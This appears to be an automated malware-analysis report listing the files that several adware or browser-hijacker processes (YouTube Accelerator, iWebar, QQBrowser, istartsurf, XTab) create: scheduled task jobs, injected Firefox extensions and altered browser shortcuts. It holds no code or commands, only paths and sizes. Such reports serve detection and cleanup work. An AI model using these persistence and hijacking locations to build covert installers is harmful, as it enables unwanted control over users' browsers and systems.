C:\Users\"%CurrentUserName%"\AppData\Local\Temp\xtmp418301\DataBase (26688 bytes)

The process ProtectWindowsManager.exe:3752 makes changes in the file system.
The Application creates and/or writes to the following file(s):

C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\up[1].htm (1 bytes)
C:\ProgramData\WindowsMangerProtect\update\conf (1 bytes)

The process YouTubeAcceleratorService.exe:3728 makes changes in the file system.
The Application creates and/or writes to the following file(s):

%Program Files% (x86)\YouTube Accelerator\engine.dll (146 bytes)
%Program Files% (x86)\YouTube Accelerator\ipc.dll (286 bytes)
C:\Users\Public\Documents\GOOBZO\YouTube Accelerator\config.xml (60 bytes)
%Program Files% (x86)\YouTube Accelerator\xmldb.dll (192 bytes)

The process YouTubeAcceleratorService.exe:3428 makes changes in the file system.
The Application creates and/or writes to the following file(s):

C:\Windows\Temp\SBC13D3.tmp (547 bytes)
C:\Windows\Temp\SBCD6C4.tmp (547 bytes)
%Program Files% (x86)\YouTube Accelerator\helper.dll (200 bytes)
C:\Users\Public\Documents\GOOBZO\YouTube Accelerator\config.xml (6725 bytes)
C:\Windows\Temp\SBC12C.tmp (51193 bytes)
C:\Users\Public\Documents\GOOBZO\YouTube Accelerator\Log\engine_3428_YouTubeAcceleratorService.log (247685 bytes)
C:\Windows\Temp\SBCFA08.tmp (44 bytes)
C:\Users\Public\Documents\GOOBZO\YouTube Accelerator\va_conf.dat (706 bytes)
C:\Users\Public\Documents\GOOBZO\YouTube Accelerator\Log\YouTubeAcceleratorService_3428.log (591 bytes)
C:\Windows\Temp\SBCF391.tmp (98 bytes)
C:\Windows\Temp\SBCFEEA.tmp (44 bytes)
C:\ProgramData\TEMP:56E2E879 (240 bytes)
C:\Windows\Temp\SBCFDC0.tmp (98 bytes)

The process ProtectService.exe:4080 makes changes in the file system.
The Application creates and/or writes to the following file(s):

C:\ProgramData\IHProtectUpDate\update\conf (5 bytes)
%Program Files% (x86)\XTab\CmdShell.exe (32 bytes)

The process ProtectService.exe:4064 makes changes in the file system.
The Application creates and/or writes to the following file(s):

%Program Files% (x86)\XTab\msvcp110.dll (536 bytes)
%Program Files% (x86)\XTab\msvcr110.dll (876 bytes)

The process Vbrgnmfwi.exe:2612 makes changes in the file system.
The Application creates and/or writes to the following file(s):

C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\chrome\content\core\installer.js (5 bytes)
%Program Files% (x86)\iWebar\62de6a4a-4569-4108-bd93-895e0f28cde9-5.exe (7726 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\783GTYVS\ipgeoapi_com[1].json (40 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsc166E.tmp\354668 (89639 bytes)
C:\Windows\Tasks\62de6a4a-4569-4108-bd93-895e0f28cde9-5_user.job (74 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsc166E.tmp\plshuf.dll (13 bytes)
%Program Files% (x86)\iWebar\utils.exe (72193 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsc166E.tmp\abxbingaf.dll (23 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsc166E.tmp\frhpnmmmq.dll (30 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsc166E.tmp\jwkgq.dll (14 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsc166E.tmp\System.dll (808 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsc166E.tmp (4 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsc166E.tmp\62de6a4a-4569-4108-bd93-895e0f28cde9-4.dll (38103 bytes)
%Program Files% (x86)\iWebar\62de6a4a-4569-4108-bd93-895e0f28cde9-4.exe (8330 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsc166E.tmp\jpcxiuu.dll (8 bytes)
%Program Files% (x86)\iWebar\Uninstall.exe (601 bytes)
%Program Files% (x86)\iWebar\62de6a4a-4569-4108-bd93-895e0f28cde9.xpi (2321 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsc166E.tmp\275663 (1931 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsc166E.tmp\abxqftls.dll (13 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsc166E.tmp\bjykvuw.dll (3730 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsn165E.tmp (607158 bytes)
C:\Windows\Tasks\62de6a4a-4569-4108-bd93-895e0f28cde9-5.job (74 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsc166E.tmp\edgbnubp.dll (31232 bytes)

The process YouTubeAccelerator.exe:2388 makes changes in the file system.
The Application creates and/or writes to the following file(s):

C:\Users\Public\Documents\GOOBZO\YouTube Accelerator\Log\engine_3976_testlsp.log_tmp (22 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\046C1ZNT\wbk128F.tmp (1 bytes)
C:\Users\Public\Documents\GOOBZO\YouTube Accelerator\Res\VARes_1000008\trial_now_accelerating.mht (30 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\046C1ZNT\wbk1268.tmp (682 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\046C1ZNT\wbk11A7.tmp (1 bytes)
C:\Users\Public\Documents\GOOBZO\YouTube Accelerator\config.xml (879 bytes)
C:\Users\Public\Documents\GOOBZO\YouTube Accelerator\Res\VARes_1000008\premium_video_accelerator.mht (38 bytes)
C:\Users\Public\Documents\GOOBZO\YouTube Accelerator\Res\VARes_1000008\dl_update.mht (30 bytes)
C:\Users\Public\Documents\GOOBZO\YouTube Accelerator\Res\VARes_1000008\va_off.mht (22 bytes)
C:\Users\Public\Documents\GOOBZO\YouTube Accelerator\Log\helper_3976_testlsp.log_tmp (150 bytes)
C:\Users\Public\Documents\GOOBZO\YouTube Accelerator\Res\VARes_1000008\itunesmessage.mht (22 bytes)
C:\Users\Public\Documents\GOOBZO\YouTube Accelerator\Res\VARes_1000008\silenttestsucceeded.mht (22 bytes)
C:\Users\Public\Documents\GOOBZO\YouTube Accelerator\Res\VARes_1000008\now_accelerating.mht (30 bytes)
C:\Users\Public\Documents\GOOBZO\YouTube Accelerator\Res\VARes_1000008\hd_disabled.mht (22 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\046C1ZNT\wbk127C.tmp (1 bytes)
C:\Users\Public\Documents\GOOBZO\YouTube Accelerator\Res\VARes_1000008\video_accelerator.mht (38 bytes)
C:\Users\Public\Documents\GOOBZO\YouTube Accelerator\Res\VARes_1000008\exiting.mht (22 bytes)
C:\Users\Public\Documents\GOOBZO\YouTube Accelerator\Res\VARes_1000008\silenttestfailed.mht (22 bytes)
C:\Users\Public\Documents\GOOBZO\YouTube Accelerator\Res\VARes_1000008\premium_now_accelerating.mht (30 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\046C1ZNT\wbk11B9.tmp (1 bytes)
C:\Users\Public\Documents\GOOBZO\YouTube Accelerator\Res\VARes_1000008\oem_video_accelerator.mht (38 bytes)
C:\Users\Public\Documents\GOOBZO\YouTube Accelerator\Res\VARes_1000008\blank.html (97 bytes)
C:\Users\Public\Documents\GOOBZO\YouTube Accelerator\Res\VARes_1000008\trial_video_accelerator.mht (38 bytes)
C:\Users\Public\Documents\GOOBZO\YouTube Accelerator\Res\VARes_1000008\update.mht (31 bytes)
C:\Users\Public\Documents\GOOBZO\YouTube Accelerator\Log\YouTubeAcceleratorService_3428.log_tmp (493 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\046C1ZNT\SMALLTEST[1].htm (70 bytes)
C:\Users\Public\Documents\GOOBZO\YouTube Accelerator\Log\ipc_3976_testlsp.log_tmp (989 bytes)
C:\Users\Public\Documents\GOOBZO\YouTube Accelerator\Res\VARes_1000008\test.mht (22 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\046C1ZNT\wbk128D.tmp (1 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\046C1ZNT\wbk1291.tmp (1 bytes)
C:\Users\Public\Documents\GOOBZO\YouTube Accelerator\Log\LspCommTest.zip (255692 bytes)
C:\Users\Public\Documents\GOOBZO\YouTube Accelerator\Res\VARes_1000008\activation_offline.mht (22 bytes)
C:\Users\Public\Documents\GOOBZO\YouTube Accelerator\Res\VARes_1000008\noupdates.mht (30 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\046C1ZNT\wbk1195.tmp (1 bytes)
C:\Users\Public\Documents\GOOBZO\YouTube Accelerator\Log\engine_3428_YouTubeAcceleratorService.log_tmp (50 bytes)
C:\Users\Public\Documents\GOOBZO\YouTube Accelerator\Res\VARes_1000008\trialexp_video_accelerator.mht (38 bytes)
C:\Users\Public\Documents\GOOBZO\YouTube Accelerator\Log\YouTubeAccelerator_2388.log_tmp (14 bytes)
C:\Users\Public\Documents\GOOBZO\YouTube Accelerator\Res\VARes_1000008\va_on.mht (22 bytes)
C:\Users\Public\Documents\GOOBZO\YouTube Accelerator\Res\VARes_1000008\olddriver.mht (22 bytes)
C:\Users\Public\Documents\GOOBZO\YouTube Accelerator\Res\VARes_1000008\tweetmessage.mht (22 bytes)
C:\Users\Public\Documents\GOOBZO\YouTube Accelerator\Res\VARes_1000008\activation_expired.mht (22 bytes)
C:\Users\Public\Documents\GOOBZO\YouTube Accelerator\Res\VARes_1000008\restart.mht (22 bytes)
C:\Users\Public\Documents\GOOBZO\YouTube Accelerator\Log\YouTubeAccelerator_2388.log (80026 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\046C1ZNT\wbk1163.tmp (50 bytes)
C:\Users\Public\Documents\GOOBZO\YouTube Accelerator\Res\VARes_1000008\acceleration_not_supported.mht (22 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\046C1ZNT\wbk1257.tmp (242 bytes)
C:\Users\Public\Documents\GOOBZO\YouTube Accelerator\Log\testlsp_3976.log_tmp (815 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\046C1ZNT\wbk1132.tmp (682 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\046C1ZNT\wbk1184.tmp (1 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\046C1ZNT\wbk1111.tmp (242 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\046C1ZNT\wbk127A.tmp (50 bytes)

The process wpm_v20.0.0.2227.exe:3716 makes changes in the file system.
The Application creates and/or writes to the following file(s):

C:\ProgramData\WindowsMangerProtect\ProtectWindowsManager.exe (2444 bytes)

The process biclient.exe:2144 makes changes in the file system.
The Application creates and/or writes to the following file(s):

C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\783GTYVS\c68f2d2eb068de4eb4b99d4758c25a2f[1].htm (36439 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\smt_istartsurf.exe.1 (5224 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\smt_istartsurf.exe.0 (5224 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\smt_istartsurf.exe.3 (5224 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\smt_istartsurf.exe.2 (5224 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\smt_istartsurf.exe.5 (5224 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\smt_istartsurf.exe.4 (5224 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\smt_istartsurf.exe.7 (5224 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\smt_istartsurf.exe.6 (5224 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\vlc-2.0.4-win32.exe.7 (177254 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\vlc-2.0.4-win32.exe (1522545 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\783GTYVS\eula-istartsurf[1].htm (1059 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\F7QBP14P\tokyoLightGrayStripesBG[1].jpg (3 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\ROWYV75Q\eula-swiftrecord[1].htm (4391 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\F391.tmp.5 (4152 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\F391.tmp (33480 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\F391.tmp.7 (4152 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\smt_istartsurf.exe (37340 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\ytaiesmt_smtyc_setup.exe (71240 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\F391.tmp.4 (4152 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\F391.tmp.3 (4152 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\F391.tmp.2 (4152 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\F391.tmp.1 (4152 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\046C1ZNT\tokyo_default_logo[1].png (3 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\ROWYV75Q\eula-youtubeaccelerator[1].htm (2712 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\vlc-2.0.4-win32.exe.4 (177254 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\vlc-2.0.4-win32.exe.5 (177254 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\vlc-2.0.4-win32.exe.6 (177254 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\F391.tmp.0 (4152 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\vlc-2.0.4-win32.exe.0 (177254 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\vlc-2.0.4-win32.exe.1 (177254 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\vlc-2.0.4-win32.exe.2 (177254 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\vlc-2.0.4-win32.exe.3 (177254 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\ytaiesmt_smtyc_setup.exe.2 (10864 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\ytaiesmt_smtyc_setup.exe.3 (10864 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\ytaiesmt_smtyc_setup.exe.0 (10864 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\ytaiesmt_smtyc_setup.exe.1 (10864 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\ytaiesmt_smtyc_setup.exe.6 (10864 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\ytaiesmt_smtyc_setup.exe.7 (10864 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\ytaiesmt_smtyc_setup.exe.4 (10864 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\ytaiesmt_smtyc_setup.exe.5 (10864 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\F391.tmp.6 (4152 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Internet Explorer\MSIMGSIZ.DAT (748 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\F7QBP14P\tokyo_sprite_full[1].png (1276 bytes)

The process ins_yta.exe:3540 makes changes in the file system.
The Application creates and/or writes to the following file(s):

C:\Users\"%CurrentUserName%"\AppData\Local\Temp\GLBBFC5.tmp (144 bytes)

The process QQBrowser.exe:3628 makes changes in the file system.
The Application creates and/or writes to the following file(s):

C:\Users\"%CurrentUserName%"\AppData\Local\Temp\xtmp418301\tmp\ChromeSync.exe (286 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\xtmp418301\tmp\RegWrite.exe (86 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\xtmp418301\tmp\wpm_v20.0.0.2227.exe (676 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\xtmp418301\tmp\XTab_Setup2253.exe (148 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\xtmp418301\tmp\521.db (288 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\xtmp418301\tmp\ClearnC.exe (114 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\WebDataJs (40 bytes)

The process QQBrowser.exe:2636 makes changes in the file system.
The Application creates and/or writes to the following file(s):

C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\1430092523_xpi\chrome\content\js\pack\ga.js (1552 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\1430092523_xpi\chrome\content\index.html (4 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\prefs.js (784 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\1430092523_xpi\modules\restoreprefs.js (1 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\istartsurf\images\code\code1.jpg (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\1430092523_xpi\chrome\content\quick_start.xul (1 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\1430092523_xpi\chrome\locale\it-CH\locale.properties (1 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\1430092523_xpi\defaults\preferences\preferences.js (379 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\1430092523_xpi\chrome\content\js\pack\common.js (10 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\1430092523_xpi\chrome\locale\en-US\locale.properties (1 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\1430092523_xpi\chrome\locale\tr\locale.properties (1 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\xtmp418301\QQBrowserFrame.dll (110 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\1430092523_xpi\chrome\locale\ru-MO\locale.properties (2 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\istartsurf\images\code\code2.jpg (4 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\istartsurf\images\code\Thumbs.db (42 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\istartsurf\images\button1.png (1 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\1430092523_xpi\chrome\content\js\lib\doT.min.js (3 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\1430092523_xpi\modules\aes.js (784 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\1430092523_xpi\chrome\skin\loading.gif (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\1430092523_xpi\chrome\locale\pt-BR\locale.properties (1 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\1430092523_xpi\chrome\skin\newtab.ico (1 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\1430092523_xpi\chrome\content\quick_start.js (784 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Microsoft\Internet Explorer\Quick Launch\User Pinned\TaskBar\Mozilla Firefox.lnk (1 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\istartsurf\images\checkbox_select.png (783 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\1430092523_xpi\install.rdf (1 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\istartsurf\MessageBox.xml (3 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\istartsurf\images\code\code5.jpg (4 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\1430092523_xpi\chrome\content\js\module\mostgrid.js (3 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Microsoft\Internet Explorer\Quick Launch\User Pinned\TaskBar\Google Chrome.lnk (2 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\1430092523_xpi\modules\settings.js (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\istartsurf\images\bg1.png (2 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\1430092523_xpi\chrome\locale\fr-BE\locale.properties (2 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\1430092523_xpi\modules\last_tab.js (4 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\1430092523_xpi\chrome\content\js\js.js (660 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Microsoft\Internet Explorer\Quick Launch\User Pinned\TaskBar\Internet Explorer.lnk (1 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\1430092523_xpi\defaults\preferences\fvd.js (7 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\1430092523_xpi\chrome\locale\fr-CA\locale.properties (2 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\istartsurf\images\loading_bg.png (159 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\1430092523_xpi\chrome\content\js\lib\jquery-2.1.0.min.js (3312 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\istartsurf\images\code\code4.jpg (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\1430092523_xpi\chrome\skin\style.css (784 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions.json (196 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\1430092523_xpi\chrome\locale\en\locale.properties (1 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\istartsurf\images\code\code3.jpg (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\istartsurf\images\button.png (3 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\istartsurf\images\code\code6.jpg (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\1430092523_xpi\chrome\skin\default_logo.png (1 bytes)
C:\Users\Public\Desktop\Mozilla Firefox.lnk (1 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\1430092523_xpi\chrome\locale\fr-LU\locale.properties (2 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\1430092523_xpi\chrome\content\js\module\hotSearch.js (6 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\istartsurf\images\min.png (1 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\1430092523_xpi\modules\addonmanager.js (531 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\1430092523_xpi\chrome\content\js\lib\jquery.autocomplete.js (12 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\1430092523_xpi\chrome\skin\icon.png (628 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\1430092523_xpi\chrome\skin\simple.css (4 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\istartsurf\images\close.png (3 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\istartsurf\521.json (512 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\istartsurf\uninstallDlg2.xml (19 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\1430092523_xpi\chrome\content\include\tools\popup_image_helper.js (693 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\istartsurf\images\checked.png (222 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\1430092523_xpi\chrome\content\include\tools\urlrequestor.js (1 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\1430092523_xpi\chrome\skin\logo.png (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\istartsurf\images\checkbox.png (545 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\1430092523_xpi\chrome\locale\it\locale.properties (1 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions.ini (486 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\1430092523_xpi\chrome\locale\pl\locale.properties (1 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Google\Chrome\User Data\Default\73F8.tmp (110 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Microsoft\Internet Explorer\Quick Launch\Launch Internet Explorer Browser.lnk (1 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\1430092523_xpi\chrome\locale\fr-CH\locale.properties (2 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\istartsurf\images\bg.png (673 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\1430092523_xpi\chrome\content\include\speed_dial.js (1 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\1430092523_xpi\chrome\content\include\tools\about_blank_hook.js (2 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Accessories\System Tools\Internet Explorer (No Add-ons).lnk (1 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Internet Explorer.lnk (1 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\istartsurf\images\loading_light.png (139 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\istartsurf\images\bk_shadow.png (3 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\1430092523_xpi\chrome\locale\ru\locale.properties (2 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\istartsurf\images\unchecked.png (135 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\1430092523_xpi\modules\properties.js (1 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\1430092523_xpi\chrome.manifest (1 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\1430092523_xpi\chrome\content\js\module\search.js (3 bytes)
